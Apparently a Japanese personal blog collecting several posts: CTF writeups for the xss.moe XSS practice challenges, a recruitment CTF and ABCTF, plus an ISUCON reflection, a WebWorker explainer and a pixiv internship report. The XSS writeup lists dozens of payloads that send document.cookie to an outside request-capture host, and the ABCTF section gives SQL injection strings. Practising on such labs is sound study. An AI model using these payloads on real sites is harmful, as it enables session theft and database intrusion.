眠気

戯言とメモ

katagaitaiCTF勉強会 xss千本ノック writeup

楽しかったです

全部解けるようがんばります…がんばりたい…

2

やるだけ

q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E

3

やるだけ

q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E

4

textareaを閉じる

q=</textarea><script>location.href='https://requestb.in/x0u1ovx0?f3='%20%2B%20document.cookie</script>

5

autofocus

q=%22%20 autofocus onfocus=%22location.href=%27https://requestb.in/x0u1ovx0?f5_=%27%20%2B%20document.cookie

6

%27で閉じる

q=!%22%27%20 autofocus onfocus=location.href='https://requestb.in/x0u1ovx0?f6='%2Bdocument.cookie;//

7

autofocus q=1%20autofocus%20onfocus=location.href=%27https://requestb.in/x0u1ovx0?f7=%27%2Bdocument.cookie;//

8

iframeのsrcをjavascript:

q=javascript:location.href=%22https://requestb.in/x0u1ovx0?f8=%22%20%2B%20document.cookie

9

scriptタグ

q=%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f9=%22%20%2B%20document.cookie%3C/script%3E

10

scriptが消えるのでいっぱいscriptを書く

q=%3Cscrscriptiscriptpscriptt%3Elocation.href=%22https://requestb.in/x0u1ovx0?f10=%22%20%2B%20document.cookie%3C/scrscriptiscriptpscriptt%3E

11,12

scriptが消えるのでonloadに挟む

q=%3Csvg%20oscriptnload=location.href=%27https://requestb.in/x0u1ovx0?f11=%27%2Bdocument.cookie%20%27%20%3E

13

alert()を閉じる

q=%27);location.href=%22https://requestb.in/x0u1ovx0?%22%2Bdocument.cookie;//

14

外部スクリプトを作って読む

q=%3Cscript%20src=http://aviavi.ga/ajs%3E%3C/script%3E

15

大文字の外部スクリプトを作って読む HTTP://ドメインの部分は大文字小文字関係なく繋がる

q=%3Cscript%20src=http://aviavi.ga/AJS%3E%3C/script%3E

16

.が使えないのでbase64でevalする

q=%3Cscript%3Eeval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll'))%3C/script%3E

17

‘が使えないのでバッククォートを使う

q=%3Cscript%3Eeval(atob(`bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll`))%3C/script%3E

18,19

scriptタグにbase64を使う

q=%3C/script%3E%3Cscript%20src=%27data:text/html;base64,bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iK2RvY3VtZW50LmNvb2tpZQ==%27%3E%3C/script%3E

20

scriptタグでhashをevalする

q=%3Csvg%20onload=eval(URL.slice(105))%3E#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie

21

svg onloadでhashをeval .が使えないのでlocation[“href”]にする

q=%22%3E%3Cimg%3E//onload=eval(URL.slice(127));%20//a%20//src=/#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie

22,23

hashをeval

q=%3Csvg%20//%20onload=eval(URL.slice(112))%3E//#location.href="https://requestb.in/x0u1ovx0?f3="+document.cookie

24

documentがnullなのでwindowを使う q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bwindow.document.cookie

25~28

windowもnullなのでthisとかtopを使う

q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bthis.document.cookie

q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Btop.document.cookie

29

imgタグを閉じずに読ませる q=aa%3C/p%3E%3Cp%3E%3Cimg%20%3Cimg%20%20%20src=%22https://requestb.in/x0u1ovx0?

30

クォートと.が使えないのでhashの文字列を連結させてがんばる

q=location[`href`]=location[`hash`][1]%2Blocation[`hash`][2]%2Blocation[`hash`][3]%2Blocation[`hash`][4]%2Blocation[`hash`][5]%2Blocation[`hash`][6]%2Blocation[`hash`][7]%2Blocation[`hash`][8]%2Blocation[`hash`][9]%2Blocation[`hash`][10]%2Blocation[`hash`][11]%2Blocation[`hash`][12]%2Blocation[`hash`][13]%2Blocation[`hash`][14]%2Blocation[`hash`][15]%2Blocation[`hash`][16]%2Blocation[`hash`][17]%2Blocation[`hash`][18]%2Blocation[`hash`][19]%2Blocation[`hash`][20]%2Blocation[`hash`][21]%2Blocation[`hash`][22]%2Blocation[`hash`][23]%2Blocation[`hash`][24]%2Blocation[`hash`][25]%2Blocation[`hash`][26]%2Blocation[`hash`][27]%2Blocation[`hash`][28]%2B`?`%2Bdocument[`cookie`]#https://requestb.in/x0u1ovx0

31

document.write()を閉じる

q=%27);location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;//

32

一つ目のパラメータでエスケープで閉じさせなくする

q1=\&q2=,location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie//

33

blink()でblinkタグを作りsvgを入れる

q=%22%3Csvg%20onload=location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;%3E%22.blink()

34

typeを上書きしてhiddenさせなくする

q=%22%20onfocus=location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie%20type=text%20autofocus%20a

35

改行コード %0a q=%0Alocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

36

改行コード %0A%0D q=%0A%0Dlocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

37

改行コード %0A%0D%E2%80%A8 q=%0A%0D%E2%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

38

改行コード %0A%0D%E2%80%A8%E2%E2%80%A8%80%A8

q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

39

%E2%80%A8が消されるのでいっぱい突っ込む

q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

40

バッククォートでauditor回避

q1=%3Cscript%3E`&q2=a`;location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie;%3C/script%3E`

41

ハッシュをeval

q=%3Cscript%3Eeval(eval(location.href.substr(-92)))%3C/script#atob("bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=")

42,43

base64をeval

q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E

44

全部エスケープされてて無理じゃんってなった

& => &amp;
' => &#039;
" => &quot;
> => &gt;
< => &lt;
!$%[@:][{}*`+}()~=`$

phpの問題だった

formのurlに$_SERVER[‘PHP_SELF’]を使っている

それとdom clobberingでdocument.bodyを書き換える

~~.knock.xss.moe//index.php/%22%20name=body%20%3E%3Cinput%20value=%22?q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi9waHdxNWRwaD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E

45

ダメ

シュ~カツctf Writeupその1

大分間が空きましたが元気です。がんばります

色々あって引きこもってました。 現在もわりと引きこもってます。色々あって今にいたります

年末に風邪をこじらせている間にいつの間にか年も越して 気がつけば2月…

最近はCTFなどはにわかに参加しているくらいで 体を壊したり落ち込んだりアレでソレで 特に書く内容もない現状です。

せっかくなので、 他のwriteupさまの内容を見たので、雑ですが書いてみました。


一応シュ~カツ(?)としてネットエージェントさまのシューカツCTF(2017年卒採用特別選考CTF)に参加していました。

前年はusiomisakiにやられてしまっていたので、今年こそは。。。と頑張ってました。

ちなみに自分も最後まで解けてないので、続きをだれか…(以下同文)

mondai1

問題ページのHTMLのソースに去年の問題文があったので、

echo LzYxMDIvcGouaGJwLy86cHR0aA== | base64 -D | rev
http://pbh.jp/2016/

とかして2016の部分を2017にすると見れたので、良かったということで最後まで解いてなかった…です。

一応ちゃんと正攻法?で解きました。 base64でデコードして3文字ずらすだけだったようです

$cat solv.rb 
require 'base64'
Base64.decode64("c2VrMW1zMjUzNDo=").each_char do |s|
   print (s.ord - 3).chr
end
$ruby solv.rb 
pbh.jp/2017

mondai2

マイナンバーらしいです…

755304ac4117729248f05fd12203735598d727dd

MD5の総当りっぽいので頑張ってもらいました。 mondai3.zip:462365337210

mondai3

画像が2つ入ってたのでクリスタで重ねてレイヤーを減算にしたらそれっぽい文字が出たので

mondai4.zip:Macrocheira

mondai4

ポートスキャンすると、3つのポートが空いていたので、

MQTTとRedisとmemcachedにつなげて適当に探せば色々出ました

kurobeとtateyamaで検索したらアルペンルートとか出てきたのでそれをメチャクチャ入れまくってたりしましたが、結局1883+6379+11211というヒントでいけました。

mondai5.zip::kurobetateyamatoyama

あとたまにokayamaとか偽passwordが流れてきてメッチャ迷った。すこぶる困った。

MQTTで遊んでたときの

mondai5

これに4,5日くらいかかってアレでした

某アニメを見てなかったためにヒントにも気付けませんでした。見ました。 txtファイルの更新日時で検索するとこのツイート

が出てくるので、SECCONとかtomorinaoとかかなと思っても出来ず、 zipを眺めまぐったりしたり 試行錯誤の末大文字小文字を総当りすると解凍できました。ESP…

mondai6.zip:TomoriNao

mondai6

適当にdotpeekなどで処理を見ると、しんかんせんえきいんぜで21文字の回文を作れば良いっぽいので

mondai7.zip:しんかんせんえきいんぜんいきえんせんかんし

mondai7

解き方忘れてしまっていたので解き直してました。turai

pcapを読むとそれらしいファイルirainaiyou1.zipをアップロードしている事がわかったり

他にもニコニコ大百科で何か見ていることとかわかるけど結局よくわかんない

irainaiyou1.zipのパスワードっぽい文字列もアップロード時の削除用のhanamogeraくらいで試行錯誤組み替えて試してもダメだったり

結局総当りしようと思い、まずは適当に辞書で回そうとこのような辞書を使わせていただいてこんな感じで適当にやったところ何か出てきたので

$ cat brute.rb 
path = "john.txt"
max = File.read(path).count("\n")
open(path) do |f|
    f.each_line.with_index do |pass,i|
        # puts i.to_s + "/" + max.to_s
        s = system "7za x -p#{pass.chop}  irainaiyou1.zip -aoa > /dev/null 2> /dev/null"
        if s
            puts pass
            break
        end
    end
end%$ ruby brute.rb 
alexander

alexanderでirainaiyou1.zipを解凍

出てきた画像ko'tae.jpgの文字で解凍出来ました

mondai8.zip:ログ・ググザジョ

グロンギ語で「もうすぐだよ」らしいですね。zipのpasswordにunicodeが使いづらかったのでLhaplusを使うと楽でした。

これもわりと苦戦した というか色々アレだった…

mondai8

mondai8は簡単になった方で解きました

truecryptで暗号化されているので、またもや先程の辞書を使わせていただいてtruecrackでアレしたり

passwordが1234なのでマウントすると見えないファイルがいくつかあるので

あとは野菜レシピ.docxのパスワードが何故かpasswordだったので開くと謎フォントの答えが出てくる

ので適当なフォントにいじって

mondai9.zipFadeWhitePearl

mondai9

宇佐美定行
「ワキミウオンズサミウケサワキケキワナオンワゼケサミサケサ
ズキアウオガミゼインミゼケキワキケサインケキケサアナワウイウズキズゼ
アンミガアンケキアウワゼミンズナ
イナアゼワキワンアナミガミガイゼミンミゼミウオンワン
ワサミガミガオガワンケキワナオンケゼアナオキアゼワサミガズガズキインズナ
ミゼアウズキケキアキケキオウイゼイキケサアキズウアキイキケキオサイガミガミゼ
オンイサケガワンケキインケサワキケサアキミゼインミゼケキワキケサインケキケサオガズゼワナオンイガオンイキケキ
イガオンイナワサイウインケキオガイキアウアンケキケサアキミキズナ
アキオンワガアウミキケンオガアンミガオキミガイキアウミキアウ
ミウミガミガオガケゼワキズキケキミゼミゼインミゼケキケゼケキワキオガイナアゼワキワン
イナオキアゼアンアキワンワキオガミキズキケキミンズガオキオゼ
ワウインズウワサミガケゼイキケキオガズキケンケサ

ワキケサインケキケサケンズウオガケナアウミナケキオンケンアキ」

らしいです

宇佐美定行とかで調べると、上杉暗号というのが出てくるので

2文字ずつ使われてる文字を調べたりして

$ cat s.rb
f = open("mondai9.txt")
g0 = []
g1 = []
f.each_line do |l|
 l.split("").each_slice(2) do |n|
 g0.push(n[0])
 g1.push(n[1])
 end
end
p g0.uniq
p g1.uniq
$ ruby s.rb
["ワ", "ミ", "オ", "ズ", "ケ", "ア", "イ"]
["キ", "ウ", "ン", "サ", "ナ", "ゼ", "ガ"]

[“ワ”, “ミ”, “オ”, “ズ”, “ケ”, “ア”, “イ”]と

[“キ”, “ウ”, “ン”, “サ”, “ナ”, “ゼ”, “ガ”]から、

あずみおいわけ と うぜんながさきかなと思って復号化

$ cat uesugi.rb 
# encoding: utf-8
# 上杉暗号
sx, sy =  'あずみおいわけ うぜんながさき'.split
iroha_table = [
  %w(い ろ は に ほ へ と),
  %w(ち り ぬ る を わ か),
  %w(よ た れ そ つ ね な),
  %w(ら む う ゐ の お く),
  %w(や ま け ふ こ え て),
  %w(あ さ き ゆ め み し),
  %w(ゑ ひ も せ す ん "),
]
File.open('mondai9.txt') do |file|
  file.each_line do |enc|
    enc.chop!
    result = []
    enc.split(//).each_slice(2) do |a,b|
      x = sx.index(a)
      y = sy.index(b)
      ch = iroha_table[x][y]
      result << ch
    end
    puts "#{result.join}"
  end
end
$ ruby uesugi.rb 
しようわよんし"ゆうさんねん
かいのたけた"しんけ"んにあやかり
はつは"いされる
ふろしきにつつまれたようき
みつつのき"ゆうひにくろみつをかける
たいか"と"らまてんとちとて"おこつた
うえすき"けんしんとたけた"しんけ"んのりゆうこうて"
こうふみやけ"のていは"んとなる
とうめいなものはつくつていない
よつつのひしか"たたけた"ひ"しのふろしき
ふくろはときしのなか"れをくむ
あけちみつひて"のかもん

しんけ"んもちのせいそ"うもと

信玄餅の製造元は桔梗屋(ききょうや)さんらしいです。

mondai10.zip:桔梗屋

というわけで

エクストリーム編につづく。。。

ISUCON反省文

K氏とチーム名「zoi」で参加してました。

今回は諸事情で学生枠でなく、一般枠で参加しました。

チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。

初参加でした。

最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。

予選落ちです。


準備

ISUCONの勝ち方を見たり、過去のエントリを見たり程度。

せめて当日までに使用言語くらいは決めようという感じであった

来年はもっと準備して挑みたいです(反省

やったこと

雑魚なのでK氏に全部やってもらいました。感謝🙏

結果的にチームとしてやったことは

  • htmlify内で毎回selectしているものを引数にして渡す
  • SELECT *SELECT keyword
  • 毎回ORDER BY CHARACTER_LENGTH(keyword)してるので、charlengthカラムを作ってORDER BY charlengthする
  • entryをredisに入れる/get('/')でredisからとってくる
  • starをredisに入れる/load_starsでredisからとってくる

自分がやったことは

  • kataribeでログ取ったり
  • CHARACTER_LENGTH(keyword)いっぱい入れとく
  • インデックス貼ったり
  • pt-query-digestでSlowLog見ていたり
  • phpにうろたえたり
  • ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
  • h2oにしようとして挫折したり

困ったこと

  • redisが入んなくて3,4時間かかってた
  • 参加していた場所のインフラがわりとクソ整備されてなくて、wifiに繋がらなかった
  • てんでsystemdわかんない
  • てんでAzureわかんない
  • starがついていません→ついてない…??

反省

  • SQL全然わかんなくてCHARACTER_LENGTHは複文で何とかなるんだろうけど、一行のupdate文大量に作った
  • 最終点数スクショ取ってない

感想

今回はわりと、楽しもうというテンションで

なんだかんだ準備が不十分だったけれど、

学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな

不甲斐ないなりにテンションあげてみたり

そんな感じで。

頑張ります はい。いや、頑張るzoi

writeup的な

ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…

と楽しみに思っていたのですが、いつの間にか終わっていたので、

少し凹んだ。

Writeupがわりと寂しくなっていてショボイですが、覚え書き。

Caesar Salad - Crypt 10

xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}

caesar solverなどでグーグル先生に聞いたり

abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

Elemental - Web 10

<!-- 7xfsnj65gsklsjsdkj -->

Just open it - Forensic 15

strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep   "ABCTF"
ABCTF{forensics_1_tooo_easy?}

GZ - Forensic 30

解凍するだけでした。たしか。

The Flash - Web 35

$ echo "c3RvcHRoYXRqcw==" | base64 -D 
stopthatjs

Drive Home - Recon 50

document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing

googleドキュメントのURLっぽいなあと

思っていたら、そんな感じでした。

Chocolate - Web 50

cookieの内容e2FkbWluOmZhbHNlfQ%3D%3Dをデコードしてみて、

$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D
{admin:false}

false→trueにしてまた戻したり

Java Madness - Rev 50

引数の文字を逆にしているだけみたいな

$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\  ")' | xargs java what_the_hack
...
Flag: ABCTF{ftc tselooc eht si ftcba}

手で逆にしていったほうが楽…

とりあえずrubyが書きたかった

Hide And Seek - Bin 50

main:
...
0x0000000100000f0c <+28>: cmp    eax,0x0
0x0000000100000f0f <+31>: jne    0x100000f1a <main+42> → 出力しておわり
0x0000000100000f15 <+37>: call   0x100000e70 <totallyNotTheFlag>
...

totallyNotTheFlag:
...
0x0000000100000eb0 <+64>: call   0x100000e00 <decrypt>
...

decrypt:
0x0000000100000e2c <+44>: cmp    rcx,rax
0x0000000100000e2f <+47>: jae    0x100000e63 <decrypt+99> → ret

gdbで適当にdecryptをループさせまくるだけでしょうか

gdb$ b *main+28
gdb$ b *decrypt+44
gdb$ r
gdb$ set $eax=0
gdb$ c
gdb$ set $rcx=0x0
gdb$ set $rax=0x30
gdb$ d 1
gdb$ commands 2
x/s $rdx
set $rcx=0x0
set $rax=0x30
end
gdb$ c

あとはエンター押しまくるだけ…

gdb$ 
Continuing.
0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"

MoonWalk - Forensic 60

foremostしました。

L33t H4xx0r - Web 70

source.txt

...
if(strcmp($PASSWORD, $_GET['password']) == 0){
            $success = true;
}else{
            $success = false;
}
...

strcmpのやつでしょうか。

配列で送って…

http://yrmyzscnvh.abctf.xyz/web6/?password[]=a

abctf{always_know_whats_going_on}

そんな感じです。

Get 'Em All - Web 80

よくあるやつですね

' or 1 = 1 ; -- ' ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}

JS Pls - Rev 80

これ

base64をデコードして難読化された部分を見やすくするために、

&&のところで改行したあと、

メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、

あとはわりと手作業でした。

process.stdin.resume();
process.stdin.setEncoding('utf8');
console.log('Give me a flag');
process.stdin.on('data', function (a) {
    a = a.trim();
    19 === a.length
    &&
    a.substr(0, '5')  === "ABCTF"
    &&
    a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1
    &&
    123 === a['5'].charCodeAt(0)
    &&
    a.substr('6', '4') === Object.keys(process.versions)[1]
    &&
    a['10'] === a['13']
    &&
    95 === a['10'].charCodeAt(0)
    &&
    a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0]
    &&
    a.substr('14', '4') === "w4Ck"
    &&
    (console.log('nice job!'), process.exit());
    console.log('nope!');
    process.exit();
});

上から順に、

  • 19文字
  • 0~5はABCTF
  • 最後は}
  • 5文字目は{
  • 6~9文字目node
$ node -e "console.log(Object.keys(process.versions)[1])"
node
  • 11文字目と13文字目は一緒
  • 10文字目は_
node -e "console.log(String.fromCharCode(95))"
_
  • 11~12文字目はis

console.log((typeof x)['5'] + (typeof a)[0])をつっこんでみる

  • 14~17文字目はw4Ck

ということがわかるので、

まとめると、ABCTF{node_is_w4Ck}みたいな感じで。

もう少し効率よく頑張りたい…そんなこの頃。

Reunion - Web 150

?id=sleep(1)とか?id=1 or 1=1 ; --やると時間がかかったり全部出てきたりするので'いらないんだなとか分かったり

こんな感じかな

select * from Dog where id = $_GET['id']

みたいな感じで

unionのカラム数を1 union select 1,1,1みたいな感じで増やしていくと

カラム数は4つだとわかるので、

とりあえずテーブル名が欲しいので

1 AND 1=2 UNION SELECT table_schema, table_name ,1,1  FROM information_schema.tables ; --
...
Color: 1
Name: INNODB_BUFFER_PAGE_LRU
Breed: information_schema
Color: 1
Name: w0w_y0u_f0und_m3
Breed: webeight
Color: 1
Name: webeight
...

w0w_y0u_f0und_m3テーブルが怪しい。何だ

1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --

abctf{uni0n_1s_4_gr34t_c0mm4nd}

的な感じで

Inj3ction - Web 170

login.txt

...
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
$logged_in = false;
if(mysqli_num_rows($result) === 1) {
   $row = mysqli_fetch_array($result);
   if($row["password"] === $password){
    $logged_in = true;
    if($row["is_admin"] === true){
        echo("<h1>Wow! Your flag is: $flag </h1>");
     }
   }
}
...
  • 1行
  • 結果のpasswordがPOSTされたpasswordと一致
  • is_adminがtrue

を満たす結果をunionすれば良いのかな こんな感じで

1' union select 1,1,'pass',true ' ;--

みたいな

curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass
<h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>

そんなこんなでした。頑張ります。

あと、開催期間はちゃんと把握しておきます。ええ。

久しぶりの

ブログです。

最近はわりと自堕落的に、

本を読んだり、落書きをしたり、

Unityで遊んだり、ネットワークで遊んだり、

Pythonで遊んだり、Cで遊んだり、

してました。遊んでばっかりだな…

それで自分の底の浅さや至らなさなどを痛感したり、

頑張っていきたいと思ったり。

特に何かを強いられているわけではないのですが、

やはり何かを課さないといけないのでは、とか思い、

兎にも角にも少しでも出来る事をやっていこうと、

そんな感じで。ブログを書いていこうと思ったこの頃。

毎sy…いや、せめて毎月…

特に書くことはないのですが、

何か書かないと、アレなので、

最近ちょっと触ってみたWebWorkerのことでも書こうかなという感じです。

また読みづらい文章書いてるな

などと思いながら読んで頂けると本望です。


WebWorkerのことはわりとMDNさまや、html5rocksさまに色々書かれているので、詳しくはこちらを読んで頂けると幸いです。(投)

Webのことはあまり詳しくないのですが、MDN(Mozilla Developer Network)を眺めているだけで色々わかった気分になるので、とても良い読み物です

html5rocksもとてもワクワクする感じが楽しい。暇なとき、食事のおともに。


結局のところ、

JavaScriptはシングルスレッドなので、スクリプト中のコードは必ず順番に処理されるのですが、

複数のスクリプトを同時に実行したい場合、主にイベントやコールバックを用い、また、非同期処理の結果によって処理を分けたい場合はPromiseAPIなどを用いると思います。多分。

そんなわけですが、

それらは並行処理を擬似的に再現してるわけで、実際のところ、DOMやUIのレンダリングなどと同じメインスレッドで処理しているらしいです。

WebWorkerというものはバックグラウンドでJSファイルを実行する仕組みらしく、表で動いているメインスレッドとは別に、独立したスレッドで動作させる事が出来ます。

たとえば、こんな感じでUIの処理と素数計算が同時に動作するページだと、

ワーカーを用いないデモ

画像が動いてる途中で思い処理が走ると、UIの処理が止まってしまいます。

WebWorkerを用いるとUIを止めずに動かすことが出来ます。

ワーカーを用いたデモ

外部ファイルにJSファイルを分けるのが面倒なので、HTML5Rocksで紹介されているインラインワーカーを使用して、BlobBuilderが無くなったため、Blobを用いています。

ほかのWorkerの生成方法はここはここで色々紹介されています。

あと、githubのhtmlを表示するのはgithackというのを使ってます。ベンリ。

正直のところ、

外部ファイルにしたり、Blobにしたり、メッセージを送ったり返したり

色々面倒なのですが、

Parallel.jsというのがあるらしいので、そっちで書くとちょっとマシな気がします。

Parallel.jsのデモ(動きは一緒です。

せっかくParalleljsなのだから、もっと並列なコードを書きたい…とか

思ったのですが、

並列で素数を数えるのがわりと難しかったり、mapがうまいこと動かなかったり

だったので、また思い立ったときに書ければな…

みたいなこの頃

インターンの感想など

ピクシブのインターン

行ってきました。5日間。

楽しかったです。

pixiv自体わりとよく使っていて、インターンもとても行きたかった

けれど、過去のインターン参加ブログなどを拝見していると自分が行ける感じでもなく、

ダメ元で応募してみたところ受かってました。

倍率は割と高かったみたいで、何故受かった応募してみるものだなぁ等と思いました。

ダメ元だったため、最終日の翌日から北海道みたいな無理な予定を入れていたり等もしました。

面接では「普段はRubyとか書いてるけどPHPも全然イケます…!」的なことを

言ったところ、珍しいねと言われ、

もし受かってもウルトラPHPエンジニアに囲まれて着いていけるのでは…とか

翌日から後悔に悶える日々でした。終わってみると良い選択だったと思います。

内容


初日

事前に2分程度の自己紹介資料を作成しておくように言われており、

2分とはどんなものか…とか

悩みながら作ったものを発表したり、

サラッと流したつもりのスライドに載せていたtwitterアカウントをフォローされたり

したあと、6チームに分かれ、各作業を行いました。

自分は「百科事典改修チーム」というチームに配属されており、

総合職の方1人と、エンジニアが3人の4人チームで、自分はエンジニアとして参加しました。

内容を端的に言うと、ピクシブ百科事典というサービスを実際に弄らせて頂くという内容でした。

良いのか。

最初内容を聞いた時はあまり理解出来なかったですが、

終わってみてよく考えてみてもポルナレフ状態でした。

具体的にいうと、

「pixiv百科事典は閲覧数は多いけれど、調べたいことが読めたらそのまま帰ってしまうのを何とかしよう」

ということで。

他サービスへの流出量の50%アップというのが課題でした。

環境構築と課題の解決に向けた方向性や現在上がっている問題などの話し合いなどをしたり。

ホワイトデーによりマカロンを頂いたり、

ホテルに帰る際スゴイ雨風で傘が壊れたり。な初日でした


二日目は、午前中はpixivのエンジニアの方のお話を聞いたりしてました。

niconare.nicovideo.jp

自分のチームのメンターをしてくださったtadsanさんの発表資料です。

昼からは前日に上がった問題点をgithubのissueとして登録して、

それを解決したり、ABテストをするための実装などしたり。

本当は1日目にも変更をデプロイしておきたかったので、急いで作業を行ったり。


三日目は午前中、

Pixivの社内で行われる全体会議に参加させていただいたり、

したあと、全社員がランダムで席の配置が決められるシステムにより片桐社長と同じ机でお昼を取ったり。

午後からは同じく作業を行ったりしました。


四日目は修羅場作業出来る最終日だったので、頑張って作業したり、

最終日はそれを発表したり、

そんな五日間でした。


業務は朝10時~気が済むまで19時で、

遅くまで残っても作業に付き合ってくれて、とてもありがたく申し訳ない限りでした。

あとハーゲンダッツを頂いて、すごく久しぶりに食べました。ありがたい。

f:id:lailaiskyn:20160325010936j:plain:w300

社内の雰囲気はすごくオープンな感じで、

前日までのこんなところ来て良いものかと思っていた感じとは違い、

すごく居過ぎる居やすい環境でした。

あとホワイトデーによりマカロンを頂いたり、

飲み放題な味噌汁サーバとか、ピクシブ栄養ドリンクとか良かったです。

f:id:lailaiskyn:20160324231248j:plain:h150 f:id:lailaiskyn:20160325012344j:plain:h150 f:id:lailaiskyn:20160325013007j:plain:h150

みそ汁は具を入れ過ぎるとワカメの増える量がすごくて大変だった。

あとすごくイスが座りやすくて、何気なく調べたらすごく高くて驚いた。

あと絵馬がすごかった…

憧れの絵描きさんの絵が沢山あり、

nababaさんとかlackさん、あの方も、あっあの方も…みたいな感じで

それを眺めてるだけでも1日使えそうな感じでした。

帰り際の新幹線ギリギリの時間に描かせて頂けることを知り、

15分ほどで急いで描いて帰りました。もう少し時間があれば…。


感想

Pixivというサービスは絵描きとしても気に入っているサイトだったので、

ピクシブ百科の中身を覗いて、ここがこうなっていてここが…ほぇ~などとなったり、

実際に何万PVもされているサービスをいじったり、

使用ユーザーの行動をイベントを集計して見たり、

実際に自分の作ったものが実際のサービスに反映されたり、

エゴサーチをしたら変更に気付いてる人がいたり、

ユーザーとして中の人とお話したり、すごく幸せでした。

PHPと言って良かった…お得感。

お世話になったメンターの方や、チームの方々、ありがとうございました。

これからも頑張ります。